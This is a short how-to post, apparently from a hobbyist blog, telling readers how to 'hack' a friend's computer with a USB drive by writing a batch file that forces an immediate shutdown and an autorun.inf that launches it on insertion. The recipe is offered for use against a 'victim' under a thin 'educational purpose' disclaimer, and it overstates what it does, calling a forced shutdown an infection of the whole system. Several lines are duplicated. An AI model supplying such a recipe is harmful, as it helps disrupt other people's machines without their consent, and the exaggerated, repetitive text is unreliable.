How to hack friend’s computer by using pendrive? (only for educational purpose)
how can we do it?
So we are going to do batch programming & with the help of it we create a virus code for usb drive & once the usb is inserted in victim’s pc code will infect the whole system of victim.
Steps to hack friends pc?
>First of all open notepad
>Now copy below code into notepad
@echo off
shutdown -s -t 00
>Now save it as hack.bat
Now your 1st file is created but its not done, we have to create one more file to do our intended task.
>open your notepad
>copy the below code into notepad
>copy the below code into notepad
[autorun]
Open=hack.bat
Action=Mouse Disable
>now save it as ‘autorun.inf‘
Now copy these above 2 files in your pen drive or your
friend’s pen drive
>now whenever your friend insert this pen drive in his pc, his pc get infected and will get automatically shutdown
friend’s pen drive
>now whenever your friend insert this pen drive in his pc, his pc get infected and will get automatically shutdown
>so thats it.
Note:- Now a question arise in your mind how should i delete these 2 files from pen drive because whenever you insert it into pc ,your or your friends pc get shut down. So the answer is
here–>
here–>
‘Out of these 2 files autorun.inf file is responsible for spreading the code into pc at the time of usb insertion.
Due to autorun.inf file virus code automatically injected into the pc. So the answer to this problem is that if we are able to delete autorun.inf file then we should b able to format the pen drive and by this we will get rid of the problem of auto shutdown.’
Due to autorun.inf file virus code automatically injected into the pc. So the answer to this problem is that if we are able to delete autorun.inf file then we should b able to format the pen drive and by this we will get rid of the problem of auto shutdown.’
In windows when we insert usb then at that time autorun
feature will comes into action and it provide us ‘Open folder
to view files’ option. So we have to disable autorun feature
of windows.